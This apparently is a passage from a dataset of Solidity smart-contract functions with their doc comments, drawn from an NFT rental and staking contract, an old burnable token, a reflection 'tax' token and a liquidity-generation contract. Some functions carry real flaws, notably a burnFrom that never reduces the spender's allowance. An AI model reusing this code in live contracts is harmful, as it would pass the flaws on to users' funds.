uint16[] calldata tokenIds,\n uint80[] calldata rentalFees\n ) external whenNotPaused {\n uint256 _nftIndex = getAirSupportIndex(erc721Address);\n require(tokenIds.length == rentalFees.length, 'Token and fee mismatch');\n\n // Verify ownership and fees, Update storage; Transfer staked colors; Issue Receipt\n for (uint256 i = 0; i < tokenIds.length; i++) {\n require(\n msg.sender == IERC721Enumerable(erc721Address).ownerOf(tokenIds[i]),\n 'Token not owned by caller'\n );\n\n verifyFee(erc721Address, rentalFees[i]);\n\n AirNFTStorage\n .flashableNFT[_nftIndex + tokenIds[i]]\n .rentalFee = rentalFees[i];\n\n IERC721Enumerable(erc721Address).transferFrom(\n msg.sender,\n address(this),\n tokenIds[i]\n );\n\n _safeMint(msg.sender, _nftIndex + tokenIds[i]);\n }\n emit stakeEvent(msg.sender, tokenIds, rentalFees);\n }", "version": "0.8.4"} {"comment": "/**\n * @dev Removes tokenIds from rental pool and returns them to owner + burns receipt token\n * @param erc721Address Address of ERC721 NFT (only erc721 is supported in v1)\n * @param tokenIds tokens staked within the contract\n * @param claimRoyalties supplied boolean true will claim royalties for those tokens removed from staking\n */", "function_code": "function removeStaked(\n address erc721Address,\n uint16[] calldata tokenIds,\n bool claimRoyalties\n ) external whenNotPaused {\n uint256 _nftIndex = getAirSupportIndex(erc721Address);\n\n // Withdraw accruals (optional)\n if (claimRoyalties) {\n claim(erc721Address, tokenIds);\n }\n\n // Verify receipt holder; Transfer tokens; burn receipt\n for (uint256 i = 0; i < tokenIds.length; i++) {\n verifyReceiptOwnership(_nftIndex + tokenIds[i]);\n\n IERC721Enumerable(erc721Address).safeTransferFrom(\n address(this),\n msg.sender,\n tokenIds[i]\n );\n\n _burn(_nftIndex + tokenIds[i]);\n }\n emit unstakeEvent(msg.sender, tokenIds);\n }", "version": "0.8.4"} {"comment": "/**\n * @dev Updates rental fee for supplied tokenIds\n * @param nftAddress Address of supported NFT\n * @param tokenIds TokenIds staked within the contract\n * @param rentalFees Fees charged per token rental (in gwei)\n */", "function_code": "function updateRentalFees(\n address nftAddress,\n uint16[] calldata tokenIds,\n uint80[] calldata rentalFees\n ) public whenNotPaused {\n uint256 _nftIndex = getAirSupportIndex(nftAddress);\n require(tokenIds.length == rentalFees.length, 'Token and fee mismatch');\n\n // Verify receipt + fees; Update storage\n for (uint256 i = 0; i < tokenIds.length; i++) {\n verifyReceiptOwnership(_nftIndex + tokenIds[i]);\n\n verifyFee(nftAddress, rentalFees[i]);\n\n AirNFTStorage\n .flashableNFT[_nftIndex + tokenIds[i]]\n .rentalFee = rentalFees[i];\n }\n }", "version": "0.8.4"} {"comment": "/**\n * @dev Mints Sync x Colors NFT with staked COLORS NFT tokens.\n * @param mintAmount Amount to mint\n * @param tokenIds tokenIds of COLORS NFT to apply to mint\n */", "function_code": "function mintSyncsWithRentedTokens(\n uint16 mintAmount,\n uint16[] calldata tokenIds\n ) external payable whenNotPaused {\n require(tokenIds.length <= 3, 'Num COLORS must be <=3');\n\n uint256 mintPrice = 0.05 ether;\n uint256 _nftIndex = 10**16; // Avoid an MLoad here since the Colors contract is predetermined to be within slot 1\n\n // Calculte fees; Update accrued royalties\n uint256 totalRentalFee = updateRoyalties(\n _nftIndex,\n tokenIds,\n uint80(mintAmount)\n );\n\n require(\n msg.value == mintAmount * mintPrice + totalRentalFee,\n 'Insufficient funds.'\n );\n\n // Mint to contract address\n ISYNC(SYNCXCOLORS).mint{value: mintAmount * mintPrice}(\n mintAmount,\n tokenIds\n );\n\n // Transfer NFTs to the sender\n uint256 new_supply = IERC721Enumerable(SYNCXCOLORS).totalSupply();\n for (uint256 i = new_supply - mintAmount; i < new_supply; i++) {\n IERC721Enumerable(SYNCXCOLORS).safeTransferFrom(\n address(this),\n msg.sender,\n i\n );\n }\n\n emit mintEvent(msg.sender, tokenIds, mintAmount, totalRentalFee);\n }", "version": "0.8.4"} {"comment": "/**\n * @dev Updates colors of Sync x Colors NFT with staked COLORS NFT tokens\n * @param tokenIds Sync x Colors tokens to recolor\n * @param colorsTokenIds COLORS NFT tokenIds to apply to recolor\n */", "function_code": "function updateSyncColors(\n uint16[] calldata tokenIds,\n uint16[] calldata colorsTokenIds\n ) external payable whenNotPaused {\n require(colorsTokenIds.length <= 3, 'Num COLORS must be <=3');\n\n uint256 resyncPrice = 0.005 ether;\n uint256 _nftIndex = 10**16; // Avoid an MLoad here since the Colors contract is predetermined to be at first airSupportIndex\n\n // Verify ownership,\n for (uint256 i = 0; i < tokenIds.length; i++) {\n require(\n msg.sender == IERC721Enumerable(SYNCXCOLORS).ownerOf(tokenIds[i]),\n 'SYNC not owned by sender'\n );\n }\n\n // Verify staked colors; update storage; calculate fees\n uint96 totalRentalFee = updateRoyalties(\n _nftIndex,\n colorsTokenIds,\n uint80(tokenIds.length)\n );\n\n require(\n msg.value == tokenIds.length * resyncPrice + totalRentalFee,\n 'Insufficient funds'\n );\n\n // Transfer sync, updateColors, transfer sync back to sender\n for (uint256 i = 0; i < tokenIds.length; i++) {\n IERC721Enumerable(SYNCXCOLORS).transferFrom(\n msg.sender,\n address(this),\n tokenIds[i]\n );\n ISYNC(SYNCXCOLORS).updateColors{value: 0.005 ether}(\n tokenIds[i],\n colorsTokenIds\n );\n IERC721Enumerable(SYNCXCOLORS).transferFrom(\n address(this),\n msg.sender,\n tokenIds[i]\n );\n }\n emit recolorEvent(msg.sender, tokenIds, colorsTokenIds, totalRentalFee);\n }", "version": "0.8.4"} {"comment": "/**\n * @dev Update royalty balances and calculate total fees for the loan\n * @param _nftIndex NFT index\n * @param tokenIds Tokens to be loaned\n * @param size Number of uses to be applied to each loaned token\n # @return airSupportIndex of NFT represented by receipt token ID\n */", "function_code": "function updateRoyalties(\n uint256 _nftIndex,\n uint16[] memory tokenIds,\n uint80 size\n ) internal returns (uint96) {\n uint96 royaltyFee;\n flashableNFTStruct memory rentalNFT;\n for (uint256 i = 0; i < tokenIds.length; i++) {\n require(_exists(_nftIndex + tokenIds[i]), 'COLORS tokenId unavailable');\n\n rentalNFT = AirNFTStorage.flashableNFT[_nftIndex + tokenIds[i]];\n AirNFTStorage.flashableNFT[_nftIndex + tokenIds[i]].allTimeAccruals =\n rentalNFT.allTimeAccruals +\n rentalNFT.rentalFee *\n size;\n AirNFTStorage.flashableNFT[_nftIndex + tokenIds[i]].accruals =\n rentalNFT.accruals +\n rentalNFT.rentalFee *\n size;\n AirNFTStorage.flashableNFT[_nftIndex + tokenIds[i]].allTimeLends =\n rentalNFT.allTimeLends +\n uint16(size);\n royaltyFee += rentalNFT.rentalFee;\n }\n\n uint96 totalRentalFee = (royaltyFee * uint96(size) * platformFeeRate) /\n 1000;\n\n AirNFTStorage.platformAccruals +=\n totalRentalFee -\n royaltyFee *\n uint96(size);\n\n return totalRentalFee;\n }", "version": "0.8.4"} {"comment": "/**\n * @dev tokenURI function\n * @param tokenId tokenId of receipt\n * @return returns URI of receipt token\n */", "function_code": "function tokenURI(uint256 tokenId)\n public\n view\n override\n returns (string memory)\n {\n require(\n _exists(tokenId),\n 'ERC721Metadata: URI query for nonexistent token..'\n );\n uint256 nftIndex = receiptIndex(tokenId);\n uint256 nftTokenId = tokenId - nftIndex;\n address nftAddress = AirNFTStorage.airSupportNFTAddress[nftIndex];\n string memory nftName = IERC721MetaData(nftAddress).name();\n bytes memory nftColor = getReceiptColor(nftAddress, nftTokenId);\n\n string memory receiptImage = Base64.encode(\n printReceipt(nftName, nftTokenId, nftColor)\n );\n\n return\n string(\n abi.encodePacked(\n 'data:application/json;base64,',\n Base64.encode(\n bytes(\n abi.encodePacked(\n '{',\n '\"image\":\"',\n 'data:image/svg+xml;base64,',\n receiptImage,\n '\",',\n '\"description\":\"AIR NFT Lender Staking Receipt\"',\n ',',\n '\"attributes\":[',\n '{\"trait_type\":\"Collection\",\"value\":\"',\n nftName,\n '\"},',\n '{\"trait_type\":\"tokenID\",\"value\":\"',\n tokenId.toString(),\n '\"}]}'\n )\n )\n )\n )\n );\n }", "version": "0.8.4"} {"comment": "/**\n * @dev Produces the receipt token image for tokenURI\n * @param nftName Name of NFT to be printed on the receipt\n * @param tokenId tokenId to be printed on the receipt\n * @return returns SVG as bytes\n */", "function_code": "function printReceipt(\n string memory nftName,\n uint256 tokenId,\n bytes memory color\n ) internal pure returns (bytes memory) {\n return\n abi.encodePacked(\n '',\n ' ',\n '',\n '',\n 'AIR',\n nftName,\n 'TokenID #',\n tokenId.toString(),\n 'Redeemable at SyncxColors.xyz',\n 'Powered by AirNFT'\n );\n }", "version": "0.8.4"} {"comment": "/**\n * @dev Get color for receipt\n * @param nftAddress Address of NFT for receipt\n * @param tokenId tokenId of NFT for receipt\n * @return returns hex color string as bytes\n */", "function_code": "function getReceiptColor(address nftAddress, uint256 tokenId)\n internal\n view\n returns (bytes memory)\n {\n if (nftAddress == THE_COLORS) {\n return bytes(ITheColors(THE_COLORS).getHexColor(tokenId));\n } else {\n return '#DDDDDD'; // Future: For other collections, generate colors by hash of uri.\n }\n }", "version": "0.8.4"} {"comment": "/**\n * @dev Withdraws all royalties accrued by the calling address (based on receipts held)\n * @param nftAddress Nft address\n */", "function_code": "function claimAllContract(address nftAddress) public whenNotPaused {\n uint256 _nftIndex = getAirSupportIndex(nftAddress);\n\n uint256 royalties;\n uint256 bal = balanceOf(msg.sender);\n uint256 receiptTokenId;\n for (uint256 i = 0; i < bal; i++) {\n receiptTokenId = tokenOfOwnerByIndex(msg.sender, i);\n if (receiptIndex(receiptTokenId) == _nftIndex) {\n royalties += AirNFTStorage.flashableNFT[receiptTokenId].accruals;\n AirNFTStorage.flashableNFT[receiptTokenId].accruals = 0;\n }\n }\n _claim(royalties);\n }", "version": "0.8.4"} {"comment": "/**\n * @dev External Facing: Withdraws royalties accrued for the supplied tokenIds (based on receipts held)\n * @param nftAddress Address of NFT\n * @param tokenIds tokenIds staked within the contract\n */", "function_code": "function claim(address nftAddress, uint16[] calldata tokenIds)\n public\n whenNotPaused\n {\n uint256 _nftIndex = getAirSupportIndex(nftAddress);\n\n uint256 royalties;\n for (uint256 i = 0; i < tokenIds.length; i++) {\n verifyReceiptOwnership(_nftIndex + tokenIds[i]);\n royalties += AirNFTStorage.flashableNFT[_nftIndex + tokenIds[i]].accruals;\n AirNFTStorage.flashableNFT[_nftIndex + tokenIds[i]].accruals = 0;\n }\n _claim(royalties);\n }", "version": "0.8.4"} {"comment": "/**\n * @dev Returns total rental cost for supplied tokenIds\n * @param nftAddress Address of NFT\n * @param tokenIds tokens staked within the contract\n * @return Total rental cost (in gwei)\n */", "function_code": "function getRentalCost(address nftAddress, uint16[] calldata tokenIds)\n public\n view\n returns (uint256)\n {\n uint256 _nftIndex = getAirSupportIndex(nftAddress);\n\n uint256 rentalFee = 0;\n for (uint256 i = 0; i < tokenIds.length; i++) {\n rentalFee += AirNFTStorage\n .flashableNFT[_nftIndex + tokenIds[i]]\n .rentalFee;\n }\n return (rentalFee * platformFeeRate) / 1000;\n }", "version": "0.8.4"} {"comment": "/**\n * @dev Convenience function which returns supported ERC721 tokenIds owned by calling address\n * @param erc721Address Address of ERC721 NFT\n * @param request Address of owner queried\n * @return Array of tokenIds\n */", "function_code": "function getOwnedERC721ByAddress(address erc721Address, address request)\n public\n view\n returns (uint256[] memory)\n {\n require(\n AirNFTStorage.airSupportIndex[erc721Address] != 0,\n 'NFT unsupported'\n );\n\n uint256 bal = IERC721Enumerable(erc721Address).balanceOf(request);\n uint256[] memory tokenIds = new uint256[](bal);\n for (uint256 i = 0; i < bal; i++) {\n tokenIds[i] = IERC721Enumerable(erc721Address).tokenOfOwnerByIndex(\n request,\n i\n );\n }\n return tokenIds;\n }", "version": "0.8.4"} {"comment": "/**\n * @dev Returns NFT tokenIds staked by calling address (based on receipts held)\n * @param nftAddress Address of ERC721 NFT\n * @param stakerAddress Address of staker\n * @return Array of tokenIds\n */", "function_code": "function getStakedByAddress(address nftAddress, address stakerAddress)\n public\n view\n returns (uint256[] memory)\n {\n uint256 _nftIndex = getAirSupportIndex(nftAddress);\n\n uint256 bal = balanceOf(stakerAddress);\n uint256[] memory staked = new uint256[](bal);\n uint256 receiptTokenId;\n uint256 index;\n for (uint256 i = 0; i < bal; i++) {\n receiptTokenId = tokenOfOwnerByIndex(stakerAddress, i);\n if (receiptIndex(receiptTokenId) == _nftIndex) {\n staked[index] = receiptTokenId - _nftIndex;\n index++;\n }\n }\n // Trim the array before returning it\n return trimmedArray(staked, index);\n }", "version": "0.8.4"} {"comment": "/**\n * @dev Returns all ERC721 tokenIds currently staked\n * @param nftAddress Address of ERC721 NFT\n * @return Array of tokenIds\n */", "function_code": "function getStaked(address nftAddress)\n public\n view\n returns (uint256[] memory)\n {\n uint256 _nftIndex = getAirSupportIndex(nftAddress);\n\n uint256 supply = totalSupply();\n uint256[] memory staked = new uint256[](supply);\n uint256 receiptTokenId;\n uint256 index;\n for (uint256 i = 0; i < supply; i++) {\n receiptTokenId = tokenByIndex(i);\n if (receiptIndex(receiptTokenId) == _nftIndex) {\n staked[index] = receiptTokenId - _nftIndex;\n index++;\n }\n }\n\n // Trim the array before returning it\n return trimmedArray(staked, index);\n }", "version": "0.8.4"} {"comment": "/**\n * @dev Returns royalty accruals by address of Staker (based on receipts held)\n * @param stakerAddress Address of token staker\n * @return Total royalties accrued (in gwei)\n */", "function_code": "function getAccruals(address stakerAddress) public view returns (uint256) {\n uint256 royalties;\n uint256 bal = balanceOf(stakerAddress);\n for (uint256 i = 0; i < bal; i++) {\n royalties += AirNFTStorage\n .flashableNFT[tokenOfOwnerByIndex(stakerAddress, i)]\n .accruals;\n }\n return royalties;\n }", "version": "0.8.4"} {"comment": "/**\n * @dev Returns statistics for the staked ERC721 tokenId\n * @param nftAddress Address of ERC721 NFT\n * @param tokenIds tokenIds\n * @return Array of flashableNFTStruct structs\n */", "function_code": "function stakedNFTData(address nftAddress, uint256[] calldata tokenIds)\n public\n view\n returns (flashableNFTStruct[] memory)\n {\n uint256 _nftIndex = getAirSupportIndex(nftAddress);\n\n flashableNFTStruct[] memory stakedStructs = new flashableNFTStruct[](\n tokenIds.length\n );\n\n for (uint256 i = 0; i < tokenIds.length; i++) {\n stakedStructs[i] = AirNFTStorage.flashableNFT[_nftIndex + tokenIds[i]];\n }\n return stakedStructs;\n }", "version": "0.8.4"} {"comment": "/**\n * @dev Adds NFT contract address to supported staking NFTs\n * @param nftAddress Address of NFT\n */", "function_code": "function addSupportedNFT(address nftAddress, uint96 _minimumFlashFee)\n public\n onlyOwner\n {\n require(\n AirNFTStorage.airSupportIndex[nftAddress] == 0,\n 'NFT already supported'\n );\n // Each additional NFT index is incremented by 10**16\n uint64 index = AirNFTStorage.currentIndex + 10**16;\n AirNFTStorage.currentIndex = index;\n AirNFTStorage.airSupportIndex[nftAddress] = index;\n AirNFTStorage.airSupportNFTAddress[index] = nftAddress;\n minimumFlashFee[nftAddress] = _minimumFlashFee;\n }", "version": "0.8.4"} {"comment": "/**\n * @dev Trims inputArray to size length\n */", "function_code": "function trimmedArray(uint256[] memory inputArray, uint256 length)\n internal\n pure\n returns (uint256[] memory)\n {\n uint256[] memory outputArray = new uint256[](length);\n for (uint256 i = 0; i < length; i++) {\n outputArray[i] = inputArray[i];\n }\n return outputArray;\n }", "version": "0.8.4"} {"comment": "/* Burn Jane by User */", "function_code": "function burn(uint256 _value) returns (bool success) {\r\n if (balanceOf[msg.sender] < _value) revert(); // Check if the sender has enough\r\n balanceOf[msg.sender] -= _value; // Subtract from the sender\r\n totalSupply -= _value; // Updates totalSupply\r\n Burn(msg.sender, _value);\r\n return true;\r\n }", "version": "0.4.16"} {"comment": "/* Burn Janes from Users */", "function_code": "function burnFrom(address _from, uint256 _value) returns (bool success) {\r\n if (balanceOf[_from] < _value) revert(); // Check if the sender has enough\r\n if (_value > allowance[_from][msg.sender]) revert(); // Check allowance\r\n balanceOf[_from] -= _value; // Subtract from the sender\r\n totalSupply -= _value; // Updates totalSupply\r\n Burn(_from, _value);\r\n return true;\r\n }", "version": "0.4.16"} {"comment": "/**\n * @dev Performs all the functionalities that are enabled.\n */", "function_code": "function _afterTokenTransfer(ValuesFromAmount memory values, bool selling, bool buying) internal virtual {\n \n if (buying || selling) {\n if (_autoBurnEnabled) {\n _tokenBalances[address(this)] += values.tBurnFee;\n _reflectionBalances[address(this)] += values.rBurnFee;\n _approve(address(this), _msgSender(), values.tBurnFee);\n burnFrom(address(this), values.tBurnFee);\n }\n\n if (_marketingRewardEnabled) {\n _tokenBalances[address(this)] += values.tMarketingFee;\n _reflectionBalances[address(this)] += values.rMarketingFee;\n\n _marketingTokensToSwap += values.tMarketingFee;\n }\n\n if (_rewardEnabled) {\n _distributeFee(values.rRewardFee, values.tRewardFee);\n }\n }\n\n if (!buying && selling && values.amount >= getReservePercent(maxSellAmountNormalTax) && values.amount < getReservePercent(maxSellAmountPercent)) {\n if (_autoSwapAndLiquifyEnabled) {\n // add liquidity fee to this contract.\n _tokenBalances[address(this)] += values.tLiquifyFee;\n _reflectionBalances[address(this)] += values.rLiquifyFee;\n }\n }\n }", "version": "0.8.3"} {"comment": "/**\n * @dev Performs transfer between two accounts that are both excluded in receiving reward.\n */", "function_code": "function _transferBothExcluded(address sender, address recipient, ValuesFromAmount memory values) private {\n\n _tokenBalances[sender] = _tokenBalances[sender] - values.amount;\n _reflectionBalances[sender] = _reflectionBalances[sender] - values.rAmount;\n _tokenBalances[recipient] = _tokenBalances[recipient] + values.tTransferAmount;\n _reflectionBalances[recipient] = _reflectionBalances[recipient] + values.rTransferAmount; \n\n }", "version": "0.8.3"} {"comment": "/**\n * @dev Includes an account from receiving reward.\n *\n * Emits a {IncludeAccountInReward} event.\n *\n * Requirements:\n *\n * - `account` is excluded in receiving reward.\n */", "function_code": "function includeAccountInReward(address account) public onlyOwner {\n require(_isExcludedFromReward[account], \"Account is already included.\");\n\n for (uint256 i = 0; i < _excludedFromReward.length; i++) {\n if (_excludedFromReward[i] == account) {\n _excludedFromReward[i] = _excludedFromReward[_excludedFromReward.length - 1];\n _tokenBalances[account] = 0;\n _isExcludedFromReward[account] = false;\n _excludedFromReward.pop();\n break;\n }\n }\n\n emit IncludeAccountInReward(account);\n }", "version": "0.8.3"} {"comment": "/**\n * @dev Airdrop tokens to all holders that are included from reward.\n * Requirements:\n * - the caller must have a balance of at least `amount`.\n */", "function_code": "function airdrop(uint256 amount) public whenNotPaused {\n address sender = _msgSender();\n //require(!_isExcludedFromReward[sender], \"Excluded addresses cannot call this function\");\n require(!isBlacklisted[_msgSender()], \"Blacklisted address\");\n require(balanceOf(sender) >= amount, \"The caller must have balance >= amount.\");\n\n ValuesFromAmount memory values = _getValues(amount, false, false, false);\n if (_isExcludedFromReward[sender]) {\n _tokenBalances[sender] -= values.amount;\n }\n _reflectionBalances[sender] -= values.rAmount;\n \n _reflectionTotal = _reflectionTotal - values.rAmount;\n _totalRewarded += amount;\n emit Airdrop(amount);\n }", "version": "0.8.3"} {"comment": "/**\n * @dev Returns the reflected amount of a token.\n * Requirements:\n * - `amount` must be less than total supply.\n */", "function_code": "function reflectionFromToken(uint256 amount, bool deductTransferFee, bool selling, bool buying) internal view returns(uint256) {\n require(amount <= _totalSupply, \"Amount must be less than supply\");\n ValuesFromAmount memory values = _getValues(amount, deductTransferFee, selling, buying);\n return values.rTransferAmount;\n }", "version": "0.8.3"} {"comment": "/**\n * @dev Swap half of contract's token balance for ETH,\n * and pair it up with the other half to add to the\n * liquidity pool.\n *\n * Emits {SwapAndLiquify} event indicating the amount of tokens swapped to eth,\n * the amount of ETH added to the LP, and the amount of tokens added to the LP.\n */", "function_code": "function swapAndLiquify(uint256 contractBalance) private lockTheSwap {\n // Split the contract balance into two halves.\n uint256 tokensToSwap = contractBalance / 2;\n uint256 tokensAddToLiquidity = contractBalance - tokensToSwap;\n\n // Contract's current ETH balance.\n uint256 initialBalance = address(this).balance;\n\n // Swap half of the tokens to ETH.\n swapTokensForEth(tokensToSwap, address(this));\n\n // Figure out the exact amount of tokens received from swapping.\n uint256 ethAddToLiquify = address(this).balance - initialBalance;\n\n // Add to the LP of this token and WETH pair (half ETH and half this token).\n addLiquidity(ethAddToLiquify, tokensAddToLiquidity);\n\n _totalETHLockedInLiquidity += address(this).balance - initialBalance;\n _totalTokensLockedInLiquidity += contractBalance - balanceOf(address(this));\n\n emit SwapAndLiquify(tokensToSwap, ethAddToLiquify, tokensAddToLiquidity);\n }", "version": "0.8.3"} {"comment": "/**\n * @dev Swap `amount` tokens for ETH and send to `to`\n *\n * Emits {Transfer} event. From this contract to the token and WETH Pair.\n */", "function_code": "function swapTokensForEth(uint256 amount, address to) private {\n // Generate the uniswap pair path of token -> weth\n address[] memory path = new address[](2);\n path[0] = address(this);\n path[1] = _uniswapV2Router.WETH();\n\n _approve(address(this), address(_uniswapV2Router), amount);\n\n\n // Swap tokens to ETH\n _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n amount, \n 0, \n path, \n to,\n block.timestamp + 60 * 1000\n );\n }", "version": "0.8.3"} {"comment": "/**\n * @dev Add `ethAmount` of ETH and `tokenAmount` of tokens to the LP.\n * Depends on the current rate for the pair between this token and WETH,\n * `ethAmount` and `tokenAmount` might not match perfectly.\n * Dust(leftover) ETH or token will be refunded to this contract\n * (usually very small quantity).\n *\n * Emits {Transfer} event. From this contract to the token and WETH Pai.\n */", "function_code": "function addLiquidity(uint256 ethAmount, uint256 tokenAmount) private {\n _approve(address(this), address(_uniswapV2Router), tokenAmount);\n\n // Add the ETH and token to LP.\n // The LP tokens will be sent to burnAccount.\n // No one will have access to them, so the liquidity will be locked forever.\n _uniswapV2Router.addLiquidityETH{value: ethAmount}(\n address(this), \n tokenAmount, \n 0, // slippage is unavoidable\n 0, // slippage is unavoidable\n burnAccount, // the LP is sent to burnAccount. \n block.timestamp + 60 * 1000\n );\n }", "version": "0.8.3"} {"comment": "/**\n * @dev Returns fees and transfer amount in both tokens and reflections.\n * tXXXX stands for tokenXXXX\n * rXXXX stands for reflectionXXXX\n * More details can be found at comments for ValuesForAmount Struct.\n */", "function_code": "function _getValues(uint256 amount, bool deductTransferFee, bool selling, bool buying) private view returns (ValuesFromAmount memory) {\n ValuesFromAmount memory values;\n values.amount = amount;\n _getTValues(values, deductTransferFee, selling, buying);\n _getRValues(values, deductTransferFee, selling, buying);\n return values;\n }", "version": "0.8.3"} {"comment": "/**\n * @dev Adds fees and transfer amount in tokens to `values`.\n * tXXXX stands for tokenXXXX\n * More details can be found at comments for ValuesForAmount Struct.\n */", "function_code": "function _getTValues(ValuesFromAmount memory values, bool deductTransferFee, bool selling, bool buying) view private {\n \n if (deductTransferFee) {\n values.tTransferAmount = values.amount;\n } else {\n // calculate fee\n if (buying || selling) {\n values.tBurnFee = _calculateTax(values.amount, _taxBurn, _taxBurnDecimals);\n values.tMarketingFee = _calculateTax(values.amount, _taxMarketing, _taxMarketingDecimals);\n values.tRewardFee = _calculateTax(values.amount, _taxReward, _taxRewardDecimals);\n }\n\n if (!buying && selling && values.amount >= getReservePercent(maxSellAmountNormalTax) && values.amount < getReservePercent(maxSellAmountPercent)) {\n values.tLiquifyFee = _calculateTax(values.amount, _taxLiquify, _taxLiquifyDecimals);\n }\n \n // amount after fee\n values.tTransferAmount = values.amount - values.tBurnFee - values.tRewardFee - values.tLiquifyFee - values.tMarketingFee;\n }\n \n }", "version": "0.8.3"} {"comment": "/**\n * @dev Returns the current reflection supply and token supply.\n */", "function_code": "function _getCurrentSupply() private view returns(uint256, uint256) {\n uint256 rSupply = _reflectionTotal;\n uint256 tSupply = _totalSupply; \n for (uint256 i = 0; i < _excludedFromReward.length; i++) {\n if (_reflectionBalances[_excludedFromReward[i]] > rSupply || _tokenBalances[_excludedFromReward[i]] > tSupply) return (_reflectionTotal, _totalSupply);\n rSupply = rSupply - _reflectionBalances[_excludedFromReward[i]];\n tSupply = tSupply - _tokenBalances[_excludedFromReward[i]];\n }\n if (rSupply < _reflectionTotal / _totalSupply) return (_reflectionTotal, _totalSupply);\n return (rSupply, tSupply);\n }", "version": "0.8.3"} {"comment": "/**\n * @dev Enables the auto burn feature.\n * Burn transaction amount * `taxBurn_` amount of tokens each transaction when enabled.\n *\n * Emits a {EnabledAutoBurn} event.\n *\n * Requirements:\n *\n * - auto burn feature mush be disabled.\n * - tax must be greater than 0.\n * - tax decimals + 2 must be less than token decimals.\n * (because tax rate is in percentage)\n */", "function_code": "function enableAutoBurn(uint8 taxBurn_, uint8 taxBurnDecimals_) public onlyOwner {\n require(!_autoBurnEnabled, \"Auto burn feature is already enabled.\");\n require(taxBurn_ > 0, \"Tax must be greater than 0.\");\n require(taxBurnDecimals_ + 2 <= decimals(), \"Tax decimals must be less than token decimals - 2\");\n \n _autoBurnEnabled = true;\n setTaxBurn(taxBurn_, taxBurnDecimals_);\n \n emit EnabledAutoBurn();\n }", "version": "0.8.3"} {"comment": "/**\n * @dev Enables the reward feature.\n * Distribute transaction amount * `taxReward_` amount of tokens each transaction when enabled.\n *\n * Emits a {EnabledReward} event.\n *\n * Requirements:\n *\n * - reward feature mush be disabled.\n * - tax must be greater than 0.\n * - tax decimals + 2 must be less than token decimals.\n * (because tax rate is in percentage)\n */", "function_code": "function enableReward(uint8 taxReward_, uint8 taxRewardDecimals_) public onlyOwner {\n require(!_rewardEnabled, \"Reward feature is already enabled.\");\n require(taxReward_ > 0, \"Tax must be greater than 0.\");\n require(taxRewardDecimals_ + 2 <= decimals(), \"Tax decimals must be less than token decimals - 2\");\n\n _rewardEnabled = true;\n setTaxReward(taxReward_, taxRewardDecimals_);\n\n emit EnabledReward();\n }", "version": "0.8.3"} {"comment": "/**\n * @dev Enables the auto swap and liquify feature.\n * Swaps half of transaction amount * `taxLiquify_` amount of tokens\n * to ETH and pair with the other half of tokens to the LP each transaction when enabled.\n *\n * Emits a {EnabledAutoSwapAndLiquify} event.\n *\n * Requirements:\n *\n * - auto swap and liquify feature mush be disabled.\n * - tax must be greater than 0.\n * - tax decimals + 2 must be less than token decimals.\n * (because tax rate is in percentage)\n */", "function_code": "function enableAutoSwapAndLiquify(uint8 taxLiquify_, uint8 taxLiquifyDecimals_, address routerAddress, uint256 minTokensBeforeSwap_) public onlyOwner {\n require(!_autoSwapAndLiquifyEnabled, \"Auto swap and liquify feature is already enabled.\");\n require(taxLiquify_ > 0, \"Tax must be greater than 0.\");\n require(taxLiquifyDecimals_ + 2 <= decimals(), \"Tax decimals must be less than token decimals - 2\");\n\n _minTokensBeforeSwap = minTokensBeforeSwap_;\n\n initSwap(routerAddress);\n\n // enable\n _autoSwapAndLiquifyEnabled = true;\n setTaxLiquify(taxLiquify_, taxLiquifyDecimals_);\n \n emit EnabledAutoSwapAndLiquify();\n }", "version": "0.8.3"} {"comment": "/**\n * @dev Updates taxBurn\n *\n * Emits a {TaxBurnUpdate} event.\n *\n * Requirements:\n *\n * - auto burn feature must be enabled.\n * - total tax rate must be less than 100%.\n */", "function_code": "function setTaxBurn(uint8 taxBurn_, uint8 taxBurnDecimals_) public onlyOwner {\n require(_autoBurnEnabled, \"Auto burn feature must be enabled. Try the EnableAutoBurn function.\");\n\n uint8 previousTax = _taxBurn;\n uint8 previousDecimals = _taxBurnDecimals;\n _taxBurn = taxBurn_;\n _taxBurnDecimals = taxBurnDecimals_;\n\n emit TaxBurnUpdate(previousTax, previousDecimals, taxBurn_, taxBurnDecimals_);\n }", "version": "0.8.3"} {"comment": "/**\n * @dev Updates taxReward\n *\n * Emits a {TaxRewardUpdate} event.\n *\n * Requirements:\n *\n * - reward feature must be enabled.\n * - total tax rate must be less than 100%.\n */", "function_code": "function setTaxReward(uint8 taxReward_, uint8 taxRewardDecimals_) public onlyOwner {\n require(_rewardEnabled, \"Reward feature must be enabled. Try the EnableReward function.\");\n\n uint8 previousTax = _taxReward;\n uint8 previousDecimals = _taxRewardDecimals;\n _taxReward = taxReward_;\n _taxRewardDecimals = taxRewardDecimals_;\n\n emit TaxRewardUpdate(previousTax, previousDecimals, taxReward_, taxRewardDecimals_);\n }", "version": "0.8.3"} {"comment": "/**\n * @dev Updates taxLiquify\n *\n * Emits a {TaxLiquifyUpdate} event.\n *\n * Requirements:\n *\n * - auto swap and liquify feature must be enabled.\n * - total tax rate must be less than 100%.\n */", "function_code": "function setTaxLiquify(uint8 taxLiquify_, uint8 taxLiquifyDecimals_) public onlyOwner {\n require(_autoSwapAndLiquifyEnabled, \"Auto swap and liquify feature must be enabled. Try the EnableAutoSwapAndLiquify function.\");\n\n uint8 previousTax = _taxLiquify;\n uint8 previousDecimals = _taxLiquifyDecimals;\n _taxLiquify = taxLiquify_;\n _taxLiquifyDecimals = taxLiquifyDecimals_;\n\n emit TaxLiquifyUpdate(previousTax, previousDecimals, taxLiquify_, taxLiquifyDecimals_);\n }", "version": "0.8.3"} {"comment": "// Possible ways this could break addressed\n// 1) No agreement to terms - added require\n// 2) Adding liquidity after LGE is over - added require\n// 3) Overflow from uint - impossible there is not enough ETH available\n// 4) Depositing 0 - not an issue it will just add 0 totally", "function_code": "function addLiquidity(bool agreesToTermsOutlinedInLiquidityGenerationParticipationAgreement)\r\n public\r\n payable\r\n {\r\n require(liquidityGenerationOngoing(), \"Liquidity Generation Event over\");\r\n require(agreesToTermsOutlinedInLiquidityGenerationParticipationAgreement, \"No agreement provided\");\r\n ethContributed[msg.sender] += msg.value; // Overflow protection from safemath is not neded here\r\n totalETHContributed = totalETHContributed.add(msg.value); // For front end display during LGE. This resets with definitive correct balance while calling pair.\r\n emit LiquidityAddition(msg.sender, msg.value);\r\n }", "version": "0.6.12"} {"comment": "/**\r\n *@dev list allows a party to place an order on the orderbook\r\n *@param _tokenadd address of the drct tokens\r\n *@param _amount number of DRCT 